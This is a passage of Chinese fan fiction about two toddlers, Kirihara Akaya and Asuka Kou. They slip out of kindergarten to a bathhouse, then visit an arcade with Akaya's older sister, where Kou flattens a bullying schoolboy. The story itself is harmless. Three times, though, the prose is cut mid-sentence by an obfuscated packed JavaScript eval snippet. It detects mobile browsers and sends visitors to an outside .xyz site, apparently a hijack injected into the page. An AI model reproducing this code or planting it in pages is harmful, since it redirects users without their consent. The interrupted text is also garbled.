将地上的一团东西统统塞进书包里,站起来刚牵好手,切原赤也抬头看四周,眨眨眼,愣住了。 身边幼崽好像突然没信号了一样,飞鸟绛于是晃晃他的手臂。 切原赤也只好找话:“我们出来偷溜出来,是不是要先告诉清水老师一声?” 飞鸟绛:“可是清水老师今天偷懒没有上学。” 清水老师偶尔也会睡过头,也会不想上学,他们做幼崽的要大度一些,理解老师的苦衷。 切原赤也点头:“噢……” 飞鸟绛:“而且,告诉别人以后,就不算是偷溜了吧。” 切原赤也再点头:“对哦……” 飞鸟绛:“其实,赤也你是不知道该怎么走了对吧。” “你怎么知——”切原赤也习惯性地点头,点了两下立即摇头,嘴硬地抬手向上一指。 “我们的目的地,就是这里啦!” 7. 我再也不要相信你了! 全完蛋了! 全完蛋了! 圆圆的副园长坐在地上,更圆了。 正园长过来,试图将副园长提起来,安慰他:“好了好了,当务之急时找到那两个孩子。” 副园长失落地喃喃:“我就说,今天怎么进行地这么顺利。没有任何一个崽打断我,没有任何一个崽出现状况……原来……原来……” 园长助理在心底补充:“原来是唯一的刺头拐了园草偷偷跑路了。” 副园长还在失魂落魄地呢喃:“我不该……我不该……” 正园长:“……” 她站起来,指挥大家一批寻找幼崽,一批留下来安抚幼崽,至于副园长,就让他先独自悲伤吧。 也多亏副园长的切原雷达,讲话时意识到风平浪静得太过头,停下来数了两遍,才发现丢掉的两个崽。 园长聚集了所有的人员,最后在一片寂静中,保安不安地出声:“如果是那个时间的话……有可能……是从我这边走掉的……” 他紧张地搓衣角,嘴唇张张合合想要弥补一些什么。园长没有责怪他擅离职守,先拜托他回忆具体的时间点。 最终,站在角落的保洁阿姨眼见地看到花坛里的痕迹。 “园长,你看!” 切原绘理是自由职业者,很快就赶到了幼稚园。 园长带着她来到花坛旁,面上露出恳切的歉意:“我们到这里的时候,现场只剩下了这只小象水杯。” 一只小象水杯被呈上来。 切原绘理看着花坛里还没晒干的湿润泥土,脑海里模拟切原赤也偷偷倒水的画面,又急又慌的心情仿佛被幼崽隔空打了一拳,不禁冷笑一声。 园长:“……” 莫名一股寒气。 一片寂静之中,园长正要说些什么,一道电话铃声劈开诡异的气氛。 坐在不远处地上的副园长抽抽鼻子,在众人的视线中摸出手机—— “摩西摩西?” “正男啊,我好像在店里看见你们家小孩了——好可爱啊,一个黑头发,一个粉头发……” 副园长矫健地一跃而起:“在哪里?!” 飞鸟绘理接到消息,把手里的工作拜托给同事,正坐在出租车上,先一步接到了切原绘理的电话。 “摩西摩西……已经找到了吗,这么快……嗯嗯好的好的,那就拜托你了绘理桑……” 飞鸟绘理呼出一口气,放下心来,对司机道:“师傅,麻烦原路返回吧,已经没事了。” 在切原绘理的拜托下,副园长请求朋友在不惊动孩子的前提下看好孩子,而他们,会在五分钟内到达现场。 用步行的方式。没错,两只幼崽不过走了区区的几百米。 副园长带领着大家,来到了朋友的店,众人仰头看像店面招牌,蓝底红字,十分清晰,绕是园长这般冷静支持的大女人也不禁失声惊讶道: “澡堂?!” 两个四岁幼崽抛下负重,勇敢出逃,长途跋涉走了几百米,就是为了来澡堂??? 这像话吗?! 十分钟前。 切原赤也状作豪迈地指着招牌:“我们的目的地,就是这里了!!” 【超畅快の室内温泉】 【泡澡的最佳归宿!灵魂的洗涤池!】 【快来!系系吧!】 飞鸟绛:“……” 切原赤也心虚地吞咽了口水,心想澡堂怎么了,他从来没有来过外面的澡堂,飞鸟绛刚搬过来,肯定也没没来过。 合理! 完全合理! 崽自信了后,胸膛挺得更高。 旁边一个端着红色盆的大叔踩着人字拖,溜溜达达从旁边路过,走过去几步又退回来:“噢,我说怎么这么眼熟呢,这不是隔壁街的赤也吗?今天这么早就放学了?” 切原赤也:“井原大叔!” 井原头发湿漉漉的,被他用大掌拨到脑后,响亮地应了一声:“诶!” 切原赤也积极地顺着杆子向上爬:“井原大叔请我们洗澡吧!”他还从来没有在大澡堂里洗过澡呢! 井原的声音消失在空气中。 飞鸟绛端着自己的小象水杯,不喝水,只咬着吸管,和切原赤也一齐仰头看井原大叔。 刚洗完的井原:“好……” 大不了再洗一遍! 店里装修有些年头,木地板的边缘都有些磨损掉色。切原赤也拉着飞鸟绛,躲在井原身后,探头探脑地进来了。 井原:“老板,三个人,一大两小!” 老板晃着的摇摇椅停下来,取下扇子,露出半眯着的眼:“井原啊……看不出你这么爱干净……”洗了一遍再洗一遍。 送上门的生意谁能不做。 老板坐起来,找自己踢到旁边的拖鞋,回忆井原的话:“两小一大是吧……嗯?两小?” 他撑着桌子站起身,踮了脚向前,附身朝下看去,才看到没有人大腿高的两个黄色小帽子。小帽子上印着卡通网球,下面是两张圆圆的精致可爱幼崽脸,再往下还有蓝色荷叶领小衬衫…… 幼稚园小孩? 老板迟疑地看向墙上的钟表,现在还不到放学时间吧? 而且帽子上的这个网球……附近幼稚园不多,其中老板最熟悉的那家刚好是球类运动特色幼稚园,开设了网球班。 不会这么巧吧。 老板眯起眼睛,打量井原。 一个中年无业单身汉带两个幼稚园小孩确实有点奇怪。井原咬着牙接受老板的打量。 老板懒洋洋地出声:“太阳花幼稚园这么早就放学了?” 切原赤也紧张且大声地说:“没有!” 遭了,不小心说了实话! 飞鸟绛放下水位线一点没下降的小象水杯,认真道:“大叔,我们不是太阳花幼稚园的。” 老板:“噢……” 给他们开了单子,又分了储物柜钥匙环,老板指道:“男汤在……井原你知道位置。” 两只小幼崽紧张地跟着井原走。 身后,老板看着他们的背影,扭头拨通了电话。 “正男啊……” 飞鸟绛戳戳切原赤也:“你有没有觉得正男有些耳熟?” “是有些耳熟……隔壁班那个没有门牙还总是流鼻涕,但足球踢的很好的冈山就叫正男!”切原赤也摩挲着下巴,翻找出来记忆。 飞鸟绛:“不是那个正男啦!” 井原:“好了,就是这里!” 两个小幼崽停止思考,木头人一样看着眼前的景象,发出齐刷刷的“哇——”。 切原赤也:“好高的柜子!” 飞鸟绛:“雾蒙蒙的。” 切原赤也:“像神仙住的地方诶!” 更衣室里,三两个已经穿好衣服的男人望过来,看是两个童言稚语的可爱小孩,注视了几秒,直到不小心对上井原的视线,才尴尬笑笑,假装不感兴趣地挪开视线。 趁井原不注意,再悄悄看过去。 井原摸摸两个幼崽的头,哈哈一笑:“你们没来过澡堂吗?” 两个幼崽又齐刷刷地摇头。 带着他们坐在长凳上,井原一挥手,豪爽道:“好了,脱衣服吧!” 飞鸟绛难得大惊失色,和切原赤也异口同声道:“啊?” 井原愣住:“诶?你们不会自己脱衣服吗?” 帮幼崽脱衣服的活,他没干过啊—— 飞鸟绛犹犹豫豫地看向四周:“在这里吗?” 切原赤也:“好多人诶!” 飞鸟绛目光更加惊恐,脸蛋被水汽和热气蒸得通红。 井原不解地摸头:“这里是更衣室啊,不在这里脱衣服的话,一会儿遇到水会湿掉吧。” 切原赤也听了后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546739|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想到妈妈发火后恐怖的样子,为难道:“是哦,湿掉衣服,妈妈会生气的吧?” 飞鸟绛:“可是不碰到水,就不会湿掉了啊,不湿掉,妈妈就不会生气了!” 不生气,不生气。 气出病来无人替。 切原绘理安慰自己,拍拍胸脯,做好了心理准备,抬脚准备登门捉拿切原赤也。 随着切原绘理的动作,五六个跟过来的幼稚园工作人员斗一同跟着进了澡堂。 路人奇怪地看了一眼他们的工作服——印着太阳花的红色围裙,疑惑道:“现在幼稚园团建都是选择来澡堂洗澡吗?” 经济下行的形势还真是恐怖。 进入澡堂,老板从柜台后面绕出来,正准备说话,只听二楼传来一声响彻澡堂的喊声,连带着屋檐瓦片都震得抖了三抖—— “我再也不要相信你了!!!” 切原绘理愣住。 这个声音…… 接着是哒哒哒一阵惊慌失措的脚步声,帘子被风吹起来,从那下面,钻出一个通红冒气儿的粉发幼崽,埋头向着门口猛冲! 径直冲进了切原绘理的怀里。 仔细一看,怀里的幼崽不止脸通红,眼睛也泛红,像是被人狠狠气了一遍。 飞鸟绛又羞又恼! 切原赤也这个大笨蛋! 这个鬼地方要在那么多大人面前脱掉衣服!这家伙进来之前是不是根本不知道! 而且!里面!好多!不穿衣服的!羞羞羞的!大人!! 崽石化。 崽震惊! 崽恐惧!!! 切原绘理给小幼崽擦擦眼泪,一看便知,绝对是自己那不靠谱的儿子又对人家乖巧小团子做了什么!于是强行压住火气,温柔地问:“发生什么了,阿绛?” 飞鸟绛抬头,看到切原绘理,张大嘴,震惊地呆滞在原地。 坏了。 自投罗网…… 紧跟着飞鸟绛冲出来的切原赤也看见眼前一幕,原地打了个转,揪着帘子就要再跑回去—— 切原绘理看见自家崽,终于想起来目的,火气重新冒上来,单手抱起来飞鸟绛,冲着切原赤也阴恻恻道:“赤也,你这家伙,想跑去哪里?” 声音幽幽地刺了切原赤也的麻筋,小小幼崽拽着帘子一角荡啊荡,回头弱弱地说道:“好巧啊,妈妈……” 帘子再一掀,这次出来的是井原—— 老板的声音恰到好处响起:“正男啊,这就是那个疑似拐卖犯啊!” 副园长从人群里挤出来,大喊道:“就是你?!” 拐了他们家两个小朋友,导致幼稚园里兵荒马乱!! 井原大惊失色,连忙摆手:“不不不,我也是在门口才遇到赤也他们的啊!” 井原好不容易摆脱了拐卖嫌疑,另外两位在逃犯罪嫌疑崽却被切原绘理当场缉拿! 拜别跟来帮忙的幼稚园团队,切原绘理带着嫌疑崽回家。 两只小崽团成两团,缩着脑袋乖乖坐在汽车后面座椅,吹着冷冷的空调,只觉得跳动的心脏也被吹得越来越凉,跳的越来越快,大气儿不敢出一声。 直到进了家门,切原绘理才开始发作。 首先处理切原赤也の第一宗罪。 “赤也,”切原绘理声音高高在上又冷酷地审判:“说说看,你刚才对阿绛做了什么!” 逼迫那么文静一个崽像水开了的水壶一样冒起,脸通红向外冲……究竟是什么令人发指的事情? 切原赤也准备好的措辞哽住,脸颊上的肥膘颤动几下,不确定道:“做了……什么?在澡堂里吗?” 切原绘理:“昂,做了什么?” 黑发幼崽声音微弱:“抱着阿绛的腿,祈求他不要走,进去看看再说?” 切原绘理:“?” 飞鸟绛想到那极具震撼力的画面,眼前一黑—— 8. 十年是很久吗 下班后,飞鸟绘理来到切原家,将飞鸟绛接走。 走之前飞鸟绛忧心忡忡地看着切原赤也,毕竟切原绘理一副要让切原赤也完蛋的表情。 被妈妈耳提面令了许久,樱花团子乖乖保证说以后不会偷偷溜出幼稚园,走之前一定会告知清水老师。 妈妈感觉到有些不对,但又说不清楚具体在哪里。 说起来,飞鸟绛也忘记他们最初为什么一定要出去了。 好像是因为切原赤也说—— “我要带你去个很厉害的地方!” 殊途同归,最终的确去了个相当厉害的地方!小小幼崽想起雾气腾腾的水池,和被要求脱衣服的恐惧,后怕地缩缩脖子。 所以……那个很厉害的地方到底是哪里呢? “是游戏厅啊笨蛋!”切原友香用力敲切原赤也的脑袋! 切原友香,现年12 岁,虽然面临升国中,但因为成绩优异全然无升学压力。最擅长的事情是带着小弟小妹们翻墙逃出小学,去附近的游戏厅玩。 切原赤也从姐姐的只言片语中知晓了那个很厉害的地方,但是从来没有真正去过。 “所以,你胆子肥到根本不知道具体位置在哪里,就拐了人家乖乖小孩逃学?”切原友香叉着腰不可置信道。 切原赤也无辜道:“都怪姐姐没有说清楚!” 切原友香敷衍他:“我就算说清楚你也根本找不到到底在哪里吧!不过……这么小就开始逃学,有你姐姐我的风范啊哈哈哈哈——” 奇怪的笑声在房间里回荡,眼看姐姐沉浸在自己的艺术中不可自拔,切原赤也扭着屁股想要爬出去。 一只手无情地抓住命运的后脖颈,姐姐凉凉的声音响起:“不可以,笨蛋赤也!你的检讨画还没有画完,妈妈说,在检讨完成以前,赤也不可以出去这个房间!” 笨蛋赤也把自己摊成一张圆圆的鼓鼓的海苔饼,用祈求和渴望的眼神注视着 切原友香。 “……好吧,如果赤也表现良好的话,友香可以考虑带赤也去游戏厅涨涨见识。” 切原赤也一跃而起,趴在小桌上下笔如有神,很快绘制出来火柴人一二三四五…… 第二天,神采奕奕地对飞鸟绛保证:“这次一定不会出错了!” 飞鸟绛再三确认:“这次不会又要让人脱衣服吧?” 切原赤也:“不会!” 清水老师只觉得害怕。 上着课,没有人会突然举手大声问出很难回答的问题,没有人会一声令下带着全班所有崽展开暴动,没有人会莫名其妙失踪最终在不知名的角落里睡觉……这一切的异常,都来自一个绿眼睛小海藻。 清水老师挪着小碎步向隔壁班老师打听:“我没来的那天,小网球班有什么异常吗?” 隔壁班老师脸色奇怪:“还好……还好……只是副园长收到了一些比较大的挫败。” 清水老师更害怕了。 小心翼翼地上了几天班,切原赤也一直都保持着乖乖宝宝的形象,和飞鸟绛贴在一起,香香软软乖乖宝宝乘2! 清水老师心软地想:“或许是飞鸟同学改变了切原同学?环境果然能够改变人,即使是切原同学也……” 幼教行业的春天,也不过如此了! 周末。 飞鸟绛来到切原家,和切原姐弟二人碰头。 他还是第一次见到切原友香。 帅气的齐耳短发,发质柔软顺畅,和切原赤也一脑袋海藻一样的自然卷天差地别。 切原友香抱着胸,大姐大一样微微昂首:“你就是飞鸟绛?” “……是。”飞鸟绛浑身一紧! 上次听到这个句式,后面紧跟着的内容可是什么“灵魂残缺的幼兽”…… 好在切原姐姐看起来就很靠谱,说起话来也很靠谱。确认飞鸟绛身份后,只是点点头,转身说:“那走吧。跟紧我,我会保护你们的!” 樱花团子好可爱…… 想摸摸…… 可恶啊,现在过去撸幼崽会破坏不良大姐大的人设吧?! 切原友香咬着牙,强撑着向前走。 不管了,今天一定要找机会摸摸! 飞鸟绛跟着切原友香,再后面是切原赤也。两个小幼崽走在陌生的大街上,亦步亦趋,像一行排队过马路的小鸭子。 半路上和切原友香的朋友们会合。 “友香今天是在客串保姆吗,怎么带了两个没用的小崽子。”其中一个这样说着。 幼崽可能听不懂,但对话语里的恶意感受得很明显。切原赤也立即瞪大了眼睛,在冲上去之前被切原友香按住脑袋。 “喂,我说你,是谁来着?我们还没有熟悉到可以互称姓名吧。” 十二岁的女孩子比男生高了一个头,斜着眼瞥过去,倍增的压力让出言不逊的男生脸色难堪许多。 “你……切原友香!” 切原友香摊着手教育弟弟:“你看,以后不要像他那样边放狠话边逃跑,难看的要死啊!” 碍眼的人走了,剩下的朋友们围过来,调笑道:“都告诉他这里不适合他了,还一定要跟上来。” “果然还是要让友香姐骂他一顿才能赶跑!” 切原友香:“我没有骂他哦,只是礼貌问了一下那是谁而已……话说我是真的不认识,那是谁啊!” “诶,你不知道他吗?我想想,是武田还是增田来着……不管了……” “哦呦你们好过分啊,人家是叫吉野,你们说的名字完全不搭边好不好!” 四五个少年少女将两只幼崽围起来,语气轻松地聊着天,切原友香顺便还从背包里逃出了两包吸吸乐,扭开后,将菠萝味的递给切原赤也,草莓味的递给飞鸟绛。 一群青春洋溢的身影里,隐隐约约能看到两个埋头吸果冻的矮小幼崽,奇怪的组合让许多人回头。 “那个东京来的损崽已经到了。”一个男生拿出手机阅读信息,合上后这样说道。 听到“东京”两个字,飞鸟绛短暂地抬了一下头。 切原友香:“到了就让他们等着呗……阿绛想不想喝香蕉牛奶呢?” 飞鸟绛还没有来得及拒绝,手里就已经被塞了插上吸管的香蕉牛奶。虽然更喜欢草莓的,但香蕉牛奶也很甜很好喝! 切原赤也捏着空空如也的吸吸乐,眼巴巴地看着切原友香:“姐姐,我的呢?” 切原友香:“只有一个!” 飞鸟绛于是把香蕉牛奶递到切原赤也嘴边,你一口我一口。 游戏厅并不远,照顾着幼崽的步速,慢慢悠悠地走了许久才到。 一进门就被人堵了。 “切原友香,你不要欺人太甚!” 切原友香看看手表:“不要火气那么大嘛,只是踩点到而已……和你们比赛的话,根本不需要提前过来准备吧。” “……哦,不要误会,没有在说你们很弱的意思。” 飞鸟绛觉得这很新奇。 跟在切原姐姐身后,一会就会出现一个小怪,然后被切原姐姐轻描淡写地打飞。 切原友香原本就是和别人约好了要比赛。输掉的人一个月内都不可以出现在这里,要带着小弟去更远、设备更差、环境更破的另一个游戏厅。 本来大家都是相安无事的,可惜对面来了个东京转学来的损崽,一定要挑起战争,说一个游戏厅里只能有一个老大。 切原友香轻描淡写的抬头:“来吧,比什么项目?” 切原赤也:“好酷!” 飞鸟绛:“因为过分强大,所以无论对方挑选什么项目都无所谓吗?” 切原友香的朋友们听到幼崽的话,一个个憋笑得很辛苦。 “是那个切原啊……每次来这里,都只是坐在一把椅子上,随便找一本漫画书看……” “从来没有出手过!” “据说游戏实力十分恐怖!是我朋友听那个切原的朋友的同学说的!” 对面东京来的那位新成员,是常年居游戏厅排行榜之首的厉害人物。此时主动请缨:“老大,让我来吧!” 于是迎着切原友香,顶着压力,雄赳赳气昂昂地出场了! 切原友香十分不屑:“你要比什么项目?哎呀我说你们,一个个的为什么这么磨蹭呢?五分钟之前就在问你们比什么了,结果选一些虾兵蟹将竟然也需要这么久吗?” “可恶……那……” 东京的新面孔选择了自己最擅长的格斗游戏。 只五分钟就落败了。 指的是切原友香。 输得酣畅淋漓,甩了甩头发,对着朋友们说:“好,解决了最强的一个,剩下的交给你们了。” 飞鸟绛目瞪口呆。 切原赤也忍了忍,又忍了忍,最终什么话都没说出来。 切原友香扯了一把椅子过来坐在上面,从口袋里拿出漫画书,打开书之前,对着切原赤也和飞鸟绛说:“你们去那边玩。” 抓娃娃机。 切原赤也揣着一兜游戏币,激动地说:“阿绛,我们也来比赛吧!” 切原友香抬了抬眼皮,右边耳朵是战况激烈的小学生—— “狡猾的切原,这次我一定要赢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546740|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好噢,输掉的话麻烦你绕着游戏厅大喊三遍‘切原老大是卡密,我是笨蛋笨蛋大笨蛋’吧。” “如果我赢了……” 右边是激情澎拜的幼稚园小崽—— “阿绛,如果我先抓到了娃娃,那我们做十年的好朋友吧!” “十年是很久吗?” “十年……十年就是永远永远那么久吧!” 切原友香翻了一页漫画,“啧”了一声。 有的老大征战沙场,有的老大保卫一方。 切原友香是后者。 对面输急眼的男生一拳砸在游戏机上,切原友香放下漫画书,慢悠悠走过去,拎住他的肩膀。 “输不起吗?” 切原赤也说出了“十年就是永远永远吧”后,在投币口投入了两个游戏币,娃娃机叮叮当当地启动了。 操作台上炫彩的灯带将幼崽的脸映得五彩斑斓,飞鸟绛双手握着摇杆,一点点晃动。 而切原赤也搬着小板凳来来回回看。 “好像还差一点点。” “再往左边一点?” “不对不对超过啦!” 飞鸟绛被指挥得有点着急:“快要没有时间了。” 话还没说完,数字倒计时“登”得一下停在零上,机械爪子发出雀跃的一声,磨刀霍霍向着娃娃发动了。 飞鸟绛和切原赤也凑近玻璃,额头贴在上面,心怦怦跳,连呼吸都近乎止住了。 机械爪子扣住娃娃的毛茸茸肥屁股,摇摇晃晃地升起来,到达最顶点的时候剧烈晃动一下,吓得两个崽抖了一抖。 “噔噔噔——恭喜你!” 灯带再一次转了两圈,娃娃“哐当”掉进了出货口。 切原赤也:“抓到了!” 飞鸟绛:“哇……” 首战告捷,大概娃娃机也偏爱可爱的幼崽。 切原赤也蹲下将娃娃取出来:“唔,还要在抓一个吗?” 娃娃是小黄鸡的样子,有红色的像小山一样的皇冠,两篇肉乎乎的翅膀,还有翘翘的毛茸茸的屁股。 飞鸟绛看看小黄鸡,跳下小凳子,摇摇头:“去看看别的吧。” 游戏厅里鱼龙混杂,不过更多的还是一脸青涩的学生们。 有小情侣,有成群的女孩子,还有挤在投篮区鬼叫的高中生。 飞鸟绛左右看看:“好多人啊。” 切原赤也环顾四周,指了指一个角落:“那里人比较少。” 过去以后,才发现是一排摩托。 像飞鸟绛这个身高的小崽,至少也要两个叠在一起,才能够到摩托的车座。 切原赤也自告奋勇:“阿绛可以先踩着我上去,然后我自己跳上去!” 飞鸟绛保持怀疑:“根本跳不上去的吧……” 切原赤也一双绿眼睛满是自信:“可以的!” “不可以。”头顶骤然按压上一双大手,切原赤也被对方恶意施加的压力压得弯下腰。 飞鸟绛转过头,看到了熟悉的面孔。 那个出言不逊的……吉野。 被切原友香狠狠刺了一顿,吉野离开后还是气不过,转个了方向又跟过来,来的时候切原友香已经像往常那样坐在椅子上看漫画,反而是那两个作为导火索的小崽子结伴着远离了人群。 天大的好机会。 吉野势必要出这口恶气。 切原赤也双手握住吉野的手腕,挣扎着大叫:“可恶,放开我啊,你是谁!” 吉野用力越来越大,恶劣地大笑:“我就说是两个没用的小崽子吧。” 他另一只手要去找飞鸟绛,抬眼看见一只又矮又小的小团子仰头瞪着他,是要跑去切原赤也旁边帮忙的姿势。 “要帮好朋友的忙?真是感人的同伴情谊。”吉野看着对方又急又忙的样子,嘲笑出声:“又矮又圆的小木墩子也想反抗我吗?真是搞不懂,切原那种人为什么会带着你们两个……” 他索性站在那里不动作,摆明了是要看飞鸟绛过来帮忙却什么也做不了的好戏。果然,飞鸟绛跑来,踮着脚,举着手,握住了切原赤也发顶的那双手。 吉野:“会哭吧小鬼,我像你们这么大的时候还……” 手腕骤然传来的力道让吉野声音消失,好像捏的不是他的手臂,而是声带。 脚下那个抿着唇,冷着脸,眼眶红红的小屁崽握住他的手腕,慢慢从切原赤也头上挪开,然后狠狠往下一拉—— “砰!” 切原赤也抱着脑袋,目瞪口呆看着眼前这一幕,仿佛还没反应过来发生了什么。 9. 他怎么那么坏啊! 吉野整个人被狠狠一掼,趴在地上,而飞鸟绛走过去,小小一只的鞋子踩在吉野的后脑勺。 “会哭的是你吧!” “无能到只会欺负小孩子的, ——巨大坏蛋!” 幼崽口齿清晰,小小的身躯,声音却极其有力量。 吉野伏在地上的手掌握成拳,想要抬起头,只微微抬起来三四公分,就被飞鸟绛再次踩下去。 “想要起来吗?”飞鸟绛冷着脸认真说着,“又笨又坏的小学生,还是老老实实地趴在地上吧!” 切原赤也缓缓张大嘴:“啊……把坏蛋说过的话狠狠还击了!” 好帅……阿绛! 等等。 切原赤也一顿。 这个大发神威的人—— 是他柔弱的好朋友飞鸟绛吗? 短短几秒钟,像被超级英雄附身了一样,超级、超级!超级棒啊! “好魔幻啊。”切原友香缓缓说道。 他身边的朋友们纷纷点头,十分认同。 解决了麻烦回来,切原友香坐在那里,翻了一页漫画书,觉得不太对劲。看向抓娃娃机,才发现立在娃娃机旁边的小凳子上空空如也,当即站起来找崽。 切原赤也鬼机灵,只要不是特别大的困难,都能靠自己逃跑掉。切原友香担心的是隔壁家的樱花团子。 万一受欺负了,她要怎么和温柔的飞鸟阿姨交代呢?! 找的途中,听见朋友说仿佛看见了吉野的身影,切原友香更担心了。 没想到…… 没想到找过来后,看见的是四岁幼崽怒踩十二岁小学生。 朋友们将吉野拉起啦,勾肩搭背地带走教育,势必要教会他什么是团结友爱,尊老爱幼。 切原绘理拉着飞鸟绛的手,仔仔细细地反复观看。 “阿绛,天生力气就这么大吗?” 飞鸟绛记得妈妈的话,捏着手指,比了一个指节的高度,说:“只是有一点点的不一样。” 切原友香若有所思地点点头,提议说:“阿绛,我们来掰手腕吧!” 飞鸟绛点头:“好。” 飞鸟绛站着,切原友香半蹲,在椅子上互相握好了对方的手。 留下的朋友充当裁判,手掌向下一挥:“开始!” 只十秒钟就败了。 指的还是切原友香。 “友香姐梅开二度啊。” “坏了,我们难道要换老大吗哈哈哈哈哈哈!” 切原友香叉着腰转头:“小心我揍你们啊!” 接着眼神复杂地看着飞鸟绛:“真是人不可貌相,小饭团不可斗量。” 即使没有吉野的干扰,切原友香也不再看漫画书了,一步步紧跟着陪两个幼崽玩了几乎所有的项目。 只是小学生的切原友香钱包并不肥厚,这一天把所有零花钱都赔进去了! 飞鸟绛的脸玩得红扑扑,回程路上,心脏都还在砰砰跳。 切原赤也却异常沉默。 时不时就躲在角落里,抱着脑袋若有所思。 飞鸟绛摸摸切原赤也的脑袋,黑色卷发看起来乱乱的,摸起来手感却很好,担心地问: “赤也,你的脑袋还痛吗?” 切原赤也呆呆地看着飞鸟绛,陌生又恍惚。 飞鸟绛抿唇:“可恶,那我们再去找他一次吧,你也踩他!” 切原赤也还是恍惚不说话。 飞鸟绛觉得,一定是吉野的问题。 这个大家伙太坏了! 切原赤也该不会因此蒙受阴影,性情大变吧?! 切原友香笑道:“阿绛,别管他了!” 那家伙就是纯粹英雄主义破灭了而已。 被美救英雄后,切原赤也自闭得不敢面对飞鸟绛。明明最开始交朋友的时候说过,想要好好保护新朋友的,到头来却被新朋友保护了。 …… 好羞耻啊! 黑发幼崽脸蛋突然爆红,抱着脑袋吨吨吨地埋头往前跑。 飞鸟绛不解:“赤也?” 切原友香也不解:“这又是怎么了啊?” 四岁幼崽的少男心也十分令人琢磨不透啊。 看着飞鸟绛进了飞鸟宅的庭院,进了房间,最后从一条脑袋宽的门缝中向他们告别,切原友香才放心地拎着切原赤也继续走。 “我说你,到此为止了,赤也!”切原友香指指点点,恨铁不成钢:“友香我五分钟游戏输给东京衰仔,十秒钟掰手腕输给四岁阿绛,都没有这么要死要活的。” 切原赤也不说话。 切原友香毫不留情地一巴掌拍上切原赤也屁股:“不说话的话,我要把你放下来你自己走了!” 切原赤也被一巴掌拍回神,大声道:“是因为姐姐厚脸皮吧!所以才不会感到难为情!” 切原友香洋洋自得,反以为荣:“对啊,拥有一颗足够大的心脏才能做好老大啊!不然你以为阿姐我是怎么一步一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546741|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称霸国小的啊?” 切原赤也跳下去:“可恶!” 切原友香摇摇头:“臭小鬼,心态还有的练呢。” 飞鸟宅。 飞鸟绘理正在做料理——将在外面打包好的精美饭菜拆开,原封不动地挪到家用盘子里。 听见门响后,抬头。 三头身小人坐在地上换鞋,摆整齐后站起来,响亮地喊了一声:“我回来啦!” 飞鸟绘理:“阿绛,洗洗手洗洗脸,马上就可以吃饭了。” “今天感觉怎么样呢?”飞鸟绘理问道,“切原家好玩吗?” 飞鸟绛认真回答:“友香姐姐很帅气,而且也有点特殊……赤也,赤也的话,还是老样子,热腾腾的……还抓到了一个小黄鸡娃娃,在书包里,赤也说无论如何都要我带走。” 飞鸟绘理:“?” 切原家还有抓娃娃机吗? 这么大手笔的……吗? 夜幕降临,飞鸟绘理躺在床上还在想—— 不能输给切原家,明天问问阿绛有什么特别想要的东西好了…… 睡意袭来,飞鸟绘理闭上眼睛,耳朵捕捉到窗外微微的风声,香薰蜡烛燃烧的刺啦声,还有……哭声? 飞鸟绘理从床上坐起来。 声音是从阿绛的房间传来的? 借着走廊上的微弱暖光灯,飞鸟绘理悄悄来到飞鸟绛的房门前。门没关,从缝隙里打出一角黄色灯光,房间里一只小小的崽坐在地毯上。 那张地毯常年摆放着飞鸟绛最近爱玩的玩具。 更多的是各种手工材料。 转进新的幼稚园后,又多了两三颗网球和一副网球拍。 在今天,那里又多了一个胖嘟嘟的小黄鸡。 眨着一双芝麻大点的呆滞小黑豆眼睛倚靠在其他娃娃旁边——因为屁股太大,凭借自己的本领,根本坐不稳! 而飞鸟绘理第一眼看到的是最中间的崽的背影。 裹着被子,能看到粉色的发顶,从后面看过去像一只三角饭团。饭团被子一抽一抽的,和飞鸟绘理耳朵中听到的抽泣声节奏一样。 “阿绛?” 飞鸟绘理温柔地试探着出声。 樱花饭团转过身来,嫩生生的脸上全是水光,眼泪已经流的不能自已,听到妈妈的声音后,情绪更是汹涌。 “妈妈!太坏了!” 飞鸟绛睡不着,越想越生气。 “那个吉野!他怎么能那么坏啊!!” 10. 你家是不是有极道势力 飞鸟绘理看到飞鸟绛眼睛上的水光,却并不担心,坐下来慢慢听飞鸟绛讲述——飞鸟绛难过到极致是不会哭的,反而生气的时候总是掉眼泪。 飞鸟绛手脚并用地比划着,把吉野的可恶和切原赤也的可怜描述得栩栩如生。 飞鸟绘理才明白,切原家没有抓娃娃机,抓娃娃机是游戏厅的,她以为的三人在隔壁房子过家家,其实是一群人去游戏厅比赛冒险。 但崽回都回来半天了,总不能再起个由头教育…… 最终,飞鸟绛下了结论:“明天,我要带着赤也重新找回场子。友香姐姐一定有办法的!” 只有这样才能让赤也从难过的阴影中走出去,开口说话吧? 飞鸟绘理:“好好好,但是阿绛,更重要的事情是不是先安慰安慰赤也呢?” 